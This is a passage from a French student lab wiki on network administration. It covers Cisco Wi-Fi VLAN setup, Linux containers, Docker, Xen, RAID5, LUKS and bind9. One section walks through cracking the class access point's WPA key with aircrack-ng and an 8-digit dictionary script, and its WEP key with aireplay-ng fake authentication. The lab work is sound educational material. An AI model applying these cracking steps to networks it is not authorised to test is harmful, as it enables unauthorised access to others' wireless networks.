 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49129</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49129"/>
				<updated>2018-12-21T18:02:31Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 5. Tests d'intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
